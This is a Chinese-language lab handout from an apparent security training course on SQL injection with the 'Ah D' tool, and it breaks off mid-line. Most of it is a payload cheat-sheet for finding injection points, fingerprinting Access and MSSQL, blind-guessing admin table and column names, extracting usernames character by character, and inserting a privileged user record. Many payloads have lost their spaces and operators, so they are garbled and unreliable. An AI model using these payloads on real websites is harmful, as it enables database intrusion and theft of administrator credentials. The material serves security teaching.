L003001012-HTTP攻击与防范-SQL注入攻击-02啊D工具实例.docx
课程编写
类别
内容
实验课题名称
HTTP攻击与防范-SQL注入攻击-02啊D工具实例
实验目的与要求
1、了解常用web脚本
2、了解常用web脚本漏洞的利用点
实验环境
VPC1(虚拟PC〕
操作系统类型:windows;
网络接口:本地连接
VPC1连接要求
PC网络接口,本地连接与实验网络直连
软件描述
1、学生机要求安装java环境
2、vpc安装windows
实验环境描述
学生机与实验室网络直连;
VPC1与实验室网络直连;
学生机与VPC1物理链路连通;
预备知识
1、类型:
数字型:and1=1and1=2判断是否存在注入
字符型:and1=1and1=2
搜索型:关键字%and1=1and%=%关键字%and1=2and%=%
2、IIS报错情况下使用:
anduser0〔判断是ACCESS还是MSSQL〕
3、不报错那么使用各自数据库特性来判断
and(selectcount(*)frommsysobjects)0〔返回权限缺乏access数据库〕
and(selectcount(*)fromsysobjects)0〔返回正常那么为MSSQL数据库〕
anddb_name〔〕0(返回数据库名)
and0(select@@version)--(判断版本信息)
anddb_name〔〕0〔返回数据库名〕
************注意:猜解之前先要找到后台地址,不然白忙了**********
4、ACCESS注入:
〔1〕猜解表名〔正常那么存在admin,不正常那么不存在〕
andexists(select*from[admin])
and(SelectCount(*)fromAdmin)0
〔2〕猜解字段:〔字段username存在那么正常,不正常那么不存在〕
and(SelectusernamefromAdmin)0
andexists(selectusernamefrom[admin])
〔3〕猜解用户名和密码长度
and(selecttop1len(username)fromAdmin)0
and(selecttop1len(password)fromAdmin)0
5、原理:如果top1的username长度大于0,那么条件成立;接着就是1、2、3这样测试下去,一直到条件不成立为止,比方4成立,5不成立,就是len(username)=5,即用户名长度为5.得到username的长度后,用mid(username,N,1)截取第N位字符,再asc(mid(username,N,1))得到ASCII码.
6、猜解用户
and(selecttop1asc(mid(username,1,1))fromAdmin)0,1,2…,
当输入到109时,显示错误,而108之前显示正确,说明第一个字符的ASCII码为109,得到第一个字符是m。
同理and(selecttop1asc(mid(username,2,1)fromAdmin)0,1,2…
到114的时候不成立,说明第二个字符的ASCII码值为114,字符为r。
注意的是英文和数字的ASCII码在1-128之间...
7、MSSQL注入:
having1=1--【爆出一个表名及字段,如:列users.ID在选择列表中无效】
groupbyusers.IDhaving1=1--
groupbyusers.ID,users.username,users.password,users.privshaving1=1--
insertintousersvalues(666,attacker,foobar,0xffff)--【插入新记录】
8、猜解表名:
SQLSERVER的每一个数据库都会有用户表和系统表,在系统表sysobjects中,数据库内创立的每个对象〔约束、默认值、日志、规那么、存储过程等〕在sysobjects表中占一行,那么也就是说当前数据库的表名都会在该表内有存在。我们常用到的参数有三个,name〔数据表的名字〕,xtype〔数据表的类型u为用户表〕,id〔数据表的对象标志〕。
and(selecttop1namefromsysobjectswherextype=u)0(得到第一个表名:比方user)
and(selecttop1namefr